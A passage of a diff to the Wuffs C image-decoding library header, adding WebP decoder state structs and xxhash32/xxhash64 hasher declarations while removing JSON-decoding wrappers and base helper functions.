uint32_t p_decode_huffman_groups; ++ uint32_t p_decode_huffman_tree; ++ uint32_t p_decode_huffman_tree_simple; ++ uint32_t p_decode_code_length_code_lengths; ++ uint32_t p_build_code_lengths; ++ uint32_t p_decode_pixels_slow; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_do_decode_image_config_limited; ++ uint32_t p_do_decode_image_config_limited_vp8l; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_decode_transform; ++ uint32_t p_decode_color_cache_parameters; ++ uint32_t p_decode_hg_table; ++ uint32_t p_decode_pixels; ++ } private_impl; + +-// The FooArgBar types add structure to Foo's optional arguments. They wrap +-// inner representations for several reasons: +-// - It provides a home for the DefaultValue static method, for Foo callers +-// that want to override some but not all optional arguments. +-// - It provides the "Bar" name at Foo call sites, which can help self- +-// document Foo calls with many arguemnts. +-// - It provides some type safety against accidentally transposing or omitting +-// adjacent fundamentally-numeric-typed optional arguments. ++ struct { ++ uint8_t f_palette[1024]; ++ uint32_t f_color_cache[2048]; ++ uint16_t f_codes[2328]; ++ uint16_t f_code_lengths[2328]; ++ uint16_t f_code_lengths_huffman_nodes[37]; ++ uint16_t f_huffman_nodes[256][6267]; + +-// DecodeJsonArgQuirks wraps an optional argument to DecodeJson. +-struct DecodeJsonArgQuirks { +- explicit DecodeJsonArgQuirks(wuffs_base__slice_u32 repr0); +- explicit DecodeJsonArgQuirks(uint32_t* ptr, size_t len); ++ struct { ++ uint32_t v_hg; ++ uint32_t v_ht; ++ } s_decode_huffman_groups; ++ struct { ++ uint32_t v_use_second_symbol; ++ uint32_t v_first_symbol_n_bits; ++ uint32_t v_symbol0; ++ uint32_t v_base_offset; ++ } s_decode_huffman_tree_simple; ++ struct { ++ uint32_t v_n_codes; ++ uint32_t v_i; ++ } s_decode_code_length_code_lengths; ++ struct { ++ uint32_t v_length_n_bits; ++ uint16_t v_prev_code_length; ++ uint32_t v_s; ++ uint32_t v_s_max; ++ uint16_t v_node; ++ uint16_t v_repeat_value; ++ uint32_t v_repeat_n_bits; ++ } s_build_code_lengths; ++ struct { ++ uint64_t v_p; ++ uint64_t v_p_max; ++ uint32_t v_tile_size_log2; ++ uint32_t v_width_in_tiles; ++ uint32_t v_x; ++ uint32_t v_y; ++ uint32_t v_hg; ++ uint16_t v_node; ++ uint32_t v_color; ++ uint32_t v_back_ref_len_n_bits; ++ uint32_t v_back_ref_len_minus_1; ++ uint32_t v_back_ref_dist_n_bits; ++ uint32_t v_back_ref_dist_premap_minus_1; ++ uint64_t v_color_cache_p; ++ } s_decode_pixels_slow; ++ struct { ++ uint64_t scratch; ++ } s_do_decode_image_config; ++ struct { ++ uint64_t scratch; ++ } s_do_decode_image_config_limited; ++ struct { ++ uint64_t scratch; ++ } s_do_decode_image_config_limited_vp8l; ++ struct { ++ uint32_t v_width; ++ } s_do_decode_frame; ++ struct { ++ uint32_t v_transform_type; ++ uint32_t v_tile_size_log2; ++ } s_decode_transform; ++ struct { ++ uint32_t v_tile_size_log2; ++ } s_decode_hg_table; ++ } private_data; + +- // DefaultValue returns an empty slice. +- static DecodeJsonArgQuirks DefaultValue(); ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; + +- wuffs_base__slice_u32 repr; +-}; ++ // On failure, the alloc_etc functions return nullptr. They don't throw. + +-// DecodeJsonArgJsonPointer wraps an optional argument to DecodeJson. +-struct DecodeJsonArgJsonPointer { +- explicit DecodeJsonArgJsonPointer(std::string repr0); ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_webp__decoder__alloc()); ++ } + +- // DefaultValue returns an empty string. +- static DecodeJsonArgJsonPointer DefaultValue(); ++ static inline wuffs_base__image_decoder::unique_ptr ++ alloc_as__wuffs_base__image_decoder() { ++ return wuffs_base__image_decoder::unique_ptr( ++ wuffs_webp__decoder__alloc_as__wuffs_base__image_decoder()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +- std::string repr; +-}; ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_webp__decoder__struct() = delete; ++ wuffs_webp__decoder__struct(const wuffs_webp__decoder__struct&) = delete; ++ wuffs_webp__decoder__struct& operator=( ++ const wuffs_webp__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + +-// DecodeJson calls callbacks based on the JSON-formatted data in input. +-// +-// On success, the returned error_message is empty and cursor_position counts +-// the number of bytes consumed. On failure, error_message is non-empty and +-// cursor_position is the location of the error. That error may be a content +-// error (invalid JSON) or an input error (e.g. network failure). +-// +-// json_pointer is a query in the JSON Pointer (RFC 6901) syntax. The callbacks +-// run for the input's sub-node that matches the query. DecodeJson_NoMatch is +-// returned if no matching sub-node was found. The empty query matches the +-// input's root node, consistent with JSON Pointer semantics. +-// +-// The JSON Pointer implementation is greedy: duplicate keys are not rejected +-// but only the first match for each '/'-separated fragment is followed. +-DecodeJsonResult // +-DecodeJson(DecodeJsonCallbacks& callbacks, +- sync_io::Input& input, +- DecodeJsonArgQuirks quirks = DecodeJsonArgQuirks::DefaultValue(), +- DecodeJsonArgJsonPointer json_pointer = +- DecodeJsonArgJsonPointer::DefaultValue()); ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) + +-} // namespace wuffs_aux ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_webp__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } + +-#endif // defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ inline wuffs_base__image_decoder* ++ upcast_as__wuffs_base__image_decoder() { ++ return (wuffs_base__image_decoder*)this; ++ } + +-// ‼ WUFFS C HEADER ENDS HERE. +-#ifdef WUFFS_IMPLEMENTATION ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_webp__decoder__get_quirk(this, a_key); ++ } + +-#ifdef __cplusplus +-extern "C" { +-#endif ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_webp__decoder__set_quirk(this, a_key, a_value); ++ } + +-// ---------------- Fundamentals ++ inline wuffs_base__status ++ decode_image_config( ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_webp__decoder__decode_image_config(this, a_dst, a_src); ++ } + +-// WUFFS_BASE__MAGIC is a magic number to check that initializers are called. +-// It's not foolproof, given C doesn't automatically zero memory before use, +-// but it should catch 99.99% of cases. +-// +-// Its (non-zero) value is arbitrary, based on md5sum("wuffs"). +-#define WUFFS_BASE__MAGIC ((uint32_t)0x3CCB6C71) ++ inline wuffs_base__status ++ decode_frame_config( ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_webp__decoder__decode_frame_config(this, a_dst, a_src); ++ } + +-// WUFFS_BASE__DISABLED is a magic number to indicate that a non-recoverable +-// error was previously encountered. +-// +-// Its (non-zero) value is arbitrary, based on md5sum("disabled"). +-#define WUFFS_BASE__DISABLED ((uint32_t)0x075AE3D2) ++ inline wuffs_base__status ++ decode_frame( ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ return wuffs_webp__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } + +-// Use switch cases for coroutine suspension points, similar to the technique +-// in https://www.chiark.greenend.org.uk/~sgtatham/coroutines.html +-// +-// The implicit fallthrough is intentional. +-// +-// We use trivial macros instead of an explicit assignment and case statement +-// so that clang-format doesn't get confused by the unusual "case"s. +-#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0 case 0:; +-#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT(n) \ +- coro_susp_point = n; \ +- case n:; ++ inline wuffs_base__rect_ie_u32 ++ frame_dirty_rect() const { ++ return wuffs_webp__decoder__frame_dirty_rect(this); ++ } + +-#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(n) \ +- if (!status.repr) { \ +- goto ok; \ +- } else if (*status.repr != '$') { \ +- goto exit; \ +- } \ +- coro_susp_point = n; \ +- goto suspend; \ +- case n:; ++ inline uint32_t ++ num_animation_loops() const { ++ return wuffs_webp__decoder__num_animation_loops(this); ++ } + +-// The "defined(__clang__)" isn't redundant. While vanilla clang defines +-// __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. +-#if defined(__GNUC__) || defined(__clang__) +-#define WUFFS_BASE__LIKELY(expr) (__builtin_expect(!!(expr), 1)) +-#define WUFFS_BASE__UNLIKELY(expr) (__builtin_expect(!!(expr), 0)) +-#else +-#define WUFFS_BASE__LIKELY(expr) (expr) +-#define WUFFS_BASE__UNLIKELY(expr) (expr) +-#endif ++ inline uint64_t ++ num_decoded_frame_configs() const { ++ return wuffs_webp__decoder__num_decoded_frame_configs(this); ++ } + +-// -------- ++ inline uint64_t ++ num_decoded_frames() const { ++ return wuffs_webp__decoder__num_decoded_frames(this); ++ } + +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wcast-qual" +-#endif +-static inline uint8_t* // +-wuffs_base__strip_const_from_u8_ptr(const uint8_t* ptr) { +- return (uint8_t*)ptr; +-} +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ inline wuffs_base__status ++ restart_frame( ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ return wuffs_webp__decoder__restart_frame(this, a_index, a_io_position); ++ } + +-// -------- ++ inline wuffs_base__empty_struct ++ set_report_metadata( ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_webp__decoder__set_report_metadata(this, a_fourcc, a_report); ++ } + +-static inline wuffs_base__empty_struct // +-wuffs_base__ignore_status(wuffs_base__status z) { +- return wuffs_base__make_empty_struct(); +-} ++ inline wuffs_base__status ++ tell_me_more( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_webp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ } + +-static inline wuffs_base__status // +-wuffs_base__status__ensure_not_a_suspension(wuffs_base__status z) { +- if (z.repr && (*z.repr == '$')) { +- z.repr = wuffs_base__error__cannot_return_a_suspension; ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_webp__decoder__workbuf_len(this); + } +- return z; +-} + +-// -------- ++#endif // __cplusplus ++}; // struct wuffs_webp__decoder__struct + +-// wuffs_base__iterate_total_advance returns the exclusive pointer-offset at +-// which iteration should stop. The overall slice has length total_len, each +-// iteration's sub-slice has length iter_len and are placed iter_advance apart. +-// +-// The iter_advance may not be larger than iter_len. The iter_advance may be +-// smaller than iter_len, in which case the sub-slices will overlap. +-// +-// The return value r satisfies ((0 <= r) && (r <= total_len)). +-// +-// For example, if total_len = 15, iter_len = 5 and iter_advance = 3, there are +-// four iterations at offsets 0, 3, 6 and 9. This function returns 12. +-// +-// 0123456789012345 +-// [....] +-// [....] +-// [....] +-// [....] +-// $ +-// 0123456789012345 +-// +-// For example, if total_len = 15, iter_len = 5 and iter_advance = 5, there are +-// three iterations at offsets 0, 5 and 10. This function returns 15. ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) || defined(WUFFS_NONMONOLITHIC) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) ++ ++// ---------------- Status Codes ++ ++// ---------------- Public Consts ++ ++// ---------------- Struct Declarations ++ ++typedef struct wuffs_xxhash32__hasher__struct wuffs_xxhash32__hasher; ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++// ---------------- Public Initializer Prototypes ++ ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". + // +-// 0123456789012345 +-// [....] +-// [....] +-// [....] +-// $ +-// 0123456789012345 +-static inline size_t // +-wuffs_base__iterate_total_advance(size_t total_len, +- size_t iter_len, +- size_t iter_advance) { +- if (total_len >= iter_len) { +- size_t n = total_len - iter_len; +- return ((n / iter_advance) * iter_advance) + iter_advance; +- } +- return 0; +-} ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-// ---------------- Numeric Types ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_xxhash32__hasher__initialize( ++ wuffs_xxhash32__hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +-extern const uint8_t wuffs_base__low_bits_mask__u8[8]; +-extern const uint16_t wuffs_base__low_bits_mask__u16[16]; +-extern const uint32_t wuffs_base__low_bits_mask__u32[32]; +-extern const uint64_t wuffs_base__low_bits_mask__u64[64]; ++size_t ++sizeof__wuffs_xxhash32__hasher(void); + +-#define WUFFS_BASE__LOW_BITS_MASK__U8(n) (wuffs_base__low_bits_mask__u8[n]) +-#define WUFFS_BASE__LOW_BITS_MASK__U16(n) (wuffs_base__low_bits_mask__u16[n]) +-#define WUFFS_BASE__LOW_BITS_MASK__U32(n) (wuffs_base__low_bits_mask__u32[n]) +-#define WUFFS_BASE__LOW_BITS_MASK__U64(n) (wuffs_base__low_bits_mask__u64[n]) ++// ---------------- Allocs + +-// -------- ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +-static inline void // +-wuffs_base__u8__sat_add_indirect(uint8_t* x, uint8_t y) { +- *x = wuffs_base__u8__sat_add(*x, y); +-} ++wuffs_xxhash32__hasher* ++wuffs_xxhash32__hasher__alloc(void); + +-static inline void // +-wuffs_base__u8__sat_sub_indirect(uint8_t* x, uint8_t y) { +- *x = wuffs_base__u8__sat_sub(*x, y); ++static inline wuffs_base__hasher_u32* ++wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32(void) { ++ return (wuffs_base__hasher_u32*)(wuffs_xxhash32__hasher__alloc()); + } + +-static inline void // +-wuffs_base__u16__sat_add_indirect(uint16_t* x, uint16_t y) { +- *x = wuffs_base__u16__sat_add(*x, y); +-} ++// ---------------- Upcasts + +-static inline void // +-wuffs_base__u16__sat_sub_indirect(uint16_t* x, uint16_t y) { +- *x = wuffs_base__u16__sat_sub(*x, y); ++static inline wuffs_base__hasher_u32* ++wuffs_xxhash32__hasher__upcast_as__wuffs_base__hasher_u32( ++ wuffs_xxhash32__hasher* p) { ++ return (wuffs_base__hasher_u32*)p; + } + +-static inline void // +-wuffs_base__u32__sat_add_indirect(uint32_t* x, uint32_t y) { +- *x = wuffs_base__u32__sat_add(*x, y); +-} ++// ---------------- Public Function Prototypes + +-static inline void // +-wuffs_base__u32__sat_sub_indirect(uint32_t* x, uint32_t y) { +- *x = wuffs_base__u32__sat_sub(*x, y); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash32__hasher__get_quirk( ++ const wuffs_xxhash32__hasher* self, ++ uint32_t a_key); + +-static inline void // +-wuffs_base__u64__sat_add_indirect(uint64_t* x, uint64_t y) { +- *x = wuffs_base__u64__sat_add(*x, y); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xxhash32__hasher__set_quirk( ++ wuffs_xxhash32__hasher* self, ++ uint32_t a_key, ++ uint64_t a_value); + +-static inline void // +-wuffs_base__u64__sat_sub_indirect(uint64_t* x, uint64_t y) { +- *x = wuffs_base__u64__sat_sub(*x, y); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_xxhash32__hasher__update( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x); + +-// ---------------- Numeric Types (Utility) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_xxhash32__hasher__update_u32( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x); + +-#define wuffs_base__utility__sign_extend_convert_u16_u32(a) \ +- ((uint32_t)(int32_t)(int16_t)(a)) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_xxhash32__hasher__checksum_u32( ++ const wuffs_xxhash32__hasher* self); + +-#define wuffs_base__utility__sign_extend_rshift_u32(a, n) \ +- ((uint32_t)(((int32_t)(a)) >> (n))) ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-#define wuffs_base__utility__sign_extend_rshift_u64(a, n) \ +- ((uint64_t)(((int64_t)(a)) >> (n))) ++// ---------------- Struct Definitions + +-// ---------------- Slices and Tables ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C + +-// wuffs_base__slice_u8__prefix returns up to the first up_to bytes of s. +-static inline wuffs_base__slice_u8 // +-wuffs_base__slice_u8__prefix(wuffs_base__slice_u8 s, uint64_t up_to) { +- if (((uint64_t)(s.len)) > up_to) { +- s.len = ((size_t)up_to); ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_xxhash32__hasher__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__hasher_u32; ++ wuffs_base__vtable null_vtable; ++ ++ uint32_t f_length_modulo_u32; ++ bool f_length_overflows_u32; ++ uint8_t f_padding0; ++ uint8_t f_padding1; ++ uint8_t f_buf_len; ++ uint8_t f_buf_data[16]; ++ uint32_t f_v0; ++ uint32_t f_v1; ++ uint32_t f_v2; ++ uint32_t f_v3; ++ } private_impl; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_xxhash32__hasher__alloc()); + } +- return s; +-} + +-// wuffs_base__slice_u8__suffix returns up to the last up_to bytes of s. +-static inline wuffs_base__slice_u8 // +-wuffs_base__slice_u8__suffix(wuffs_base__slice_u8 s, uint64_t up_to) { +- if (((uint64_t)(s.len)) > up_to) { +- s.ptr += ((uint64_t)(s.len)) - up_to; +- s.len = ((size_t)up_to); ++ static inline wuffs_base__hasher_u32::unique_ptr ++ alloc_as__wuffs_base__hasher_u32() { ++ return wuffs_base__hasher_u32::unique_ptr( ++ wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32()); + } +- return s; +-} ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +-// wuffs_base__slice_u8__copy_from_slice calls memmove(dst.ptr, src.ptr, len) +-// where len is the minimum of dst.len and src.len. +-// +-// Passing a wuffs_base__slice_u8 with all fields NULL or zero (a valid, empty +-// slice) is valid and results in a no-op. +-static inline uint64_t // +-wuffs_base__slice_u8__copy_from_slice(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src) { +- size_t len = dst.len < src.len ? dst.len : src.len; +- if (len > 0) { +- memmove(dst.ptr, src.ptr, len); ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_xxhash32__hasher__struct() = delete; ++ wuffs_xxhash32__hasher__struct(const wuffs_xxhash32__hasher__struct&) = delete; ++ wuffs_xxhash32__hasher__struct& operator=( ++ const wuffs_xxhash32__hasher__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_xxhash32__hasher__initialize( ++ this, sizeof_star_self, wuffs_version, options); + } +- return len; +-} + +-static inline wuffs_base__empty_struct // +-wuffs_base__bulk_load_host_endian(void* ptr, +- size_t len, +- wuffs_base__slice_u8 src) { +- if (len && (len <= src.len)) { +- memmove(ptr, src.ptr, len); ++ inline wuffs_base__hasher_u32* ++ upcast_as__wuffs_base__hasher_u32() { ++ return (wuffs_base__hasher_u32*)this; + } +- return wuffs_base__make_empty_struct(); +-} + +-static inline wuffs_base__empty_struct // +-wuffs_base__bulk_memset(void* ptr, size_t len, uint8_t byte_value) { +- if (len) { +- memset(ptr, byte_value, len); ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_xxhash32__hasher__get_quirk(this, a_key); + } +- return wuffs_base__make_empty_struct(); +-} + +-static inline wuffs_base__empty_struct // +-wuffs_base__bulk_save_host_endian(void* ptr, +- size_t len, +- wuffs_base__slice_u8 dst) { +- if (len && (len <= dst.len)) { +- memmove(dst.ptr, ptr, len); ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_xxhash32__hasher__set_quirk(this, a_key, a_value); + } +- return wuffs_base__make_empty_struct(); +-} + +-// -------- ++ inline wuffs_base__empty_struct ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_xxhash32__hasher__update(this, a_x); ++ } + +-static inline wuffs_base__slice_u8 // +-wuffs_base__table_u8__row_u32(wuffs_base__table_u8 t, uint32_t y) { +- if (y < t.height) { +- return wuffs_base__make_slice_u8(t.ptr + (t.stride * y), t.width); ++ inline uint32_t ++ update_u32( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_xxhash32__hasher__update_u32(this, a_x); + } +- return wuffs_base__make_slice_u8(NULL, 0); +-} + +-// ---------------- Slices and Tables (Utility) ++ inline uint32_t ++ checksum_u32() const { ++ return wuffs_xxhash32__hasher__checksum_u32(this); ++ } + +-#define wuffs_base__utility__empty_slice_u8 wuffs_base__empty_slice_u8 ++#endif // __cplusplus ++}; // struct wuffs_xxhash32__hasher__struct + +-// ---------------- Ranges and Rects ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-static inline uint32_t // +-wuffs_base__range_ii_u32__get_min_incl(const wuffs_base__range_ii_u32* r) { +- return r->min_incl; +-} ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) + +-static inline uint32_t // +-wuffs_base__range_ii_u32__get_max_incl(const wuffs_base__range_ii_u32* r) { +- return r->max_incl; +-} ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) + +-static inline uint32_t // +-wuffs_base__range_ie_u32__get_min_incl(const wuffs_base__range_ie_u32* r) { +- return r->min_incl; +-} ++// ---------------- Status Codes + +-static inline uint32_t // +-wuffs_base__range_ie_u32__get_max_excl(const wuffs_base__range_ie_u32* r) { +- return r->max_excl; +-} ++// ---------------- Public Consts + +-static inline uint64_t // +-wuffs_base__range_ii_u64__get_min_incl(const wuffs_base__range_ii_u64* r) { +- return r->min_incl; +-} ++// ---------------- Struct Declarations + +-static inline uint64_t // +-wuffs_base__range_ii_u64__get_max_incl(const wuffs_base__range_ii_u64* r) { +- return r->max_incl; +-} ++typedef struct wuffs_xxhash64__hasher__struct wuffs_xxhash64__hasher; + +-static inline uint64_t // +-wuffs_base__range_ie_u64__get_min_incl(const wuffs_base__range_ie_u64* r) { +- return r->min_incl; +-} ++#ifdef __cplusplus ++extern "C" { ++#endif + +-static inline uint64_t // +-wuffs_base__range_ie_u64__get_max_excl(const wuffs_base__range_ie_u64* r) { +- return r->max_excl; +-} ++// ---------------- Public Initializer Prototypes + +-// ---------------- Ranges and Rects (Utility) ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-#define wuffs_base__utility__empty_range_ii_u32 wuffs_base__empty_range_ii_u32 +-#define wuffs_base__utility__empty_range_ie_u32 wuffs_base__empty_range_ie_u32 +-#define wuffs_base__utility__empty_range_ii_u64 wuffs_base__empty_range_ii_u64 +-#define wuffs_base__utility__empty_range_ie_u64 wuffs_base__empty_range_ie_u64 +-#define wuffs_base__utility__empty_rect_ii_u32 wuffs_base__empty_rect_ii_u32 +-#define wuffs_base__utility__empty_rect_ie_u32 wuffs_base__empty_rect_ie_u32 +-#define wuffs_base__utility__make_range_ii_u32 wuffs_base__make_range_ii_u32 +-#define wuffs_base__utility__make_range_ie_u32 wuffs_base__make_range_ie_u32 +-#define wuffs_base__utility__make_range_ii_u64 wuffs_base__make_range_ii_u64 +-#define wuffs_base__utility__make_range_ie_u64 wuffs_base__make_range_ie_u64 +-#define wuffs_base__utility__make_rect_ii_u32 wuffs_base__make_rect_ii_u32 +-#define wuffs_base__utility__make_rect_ie_u32 wuffs_base__make_rect_ie_u32 ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_xxhash64__hasher__initialize( ++ wuffs_xxhash64__hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +-// ---------------- I/O ++size_t ++sizeof__wuffs_xxhash64__hasher(void); + +-static inline uint64_t // +-wuffs_base__io__count_since(uint64_t mark, uint64_t index) { +- if (index >= mark) { +- return index - mark; +- } +- return 0; +-} ++// ---------------- Allocs + +-// TODO: drop the "const" in "const uint8_t* ptr". Some though required about +-// the base.io_reader.since method returning a mutable "slice base.u8". +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wcast-qual" +-#endif +-static inline wuffs_base__slice_u8 // +-wuffs_base__io__since(uint64_t mark, uint64_t index, const uint8_t* ptr) { +- if (index >= mark) { +- return wuffs_base__make_slice_u8(((uint8_t*)ptr) + mark, +- ((size_t)(index - mark))); +- } +- return wuffs_base__make_slice_u8(NULL, 0); +-} +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++// These functions allocate and initialize Wuffs structs. They return 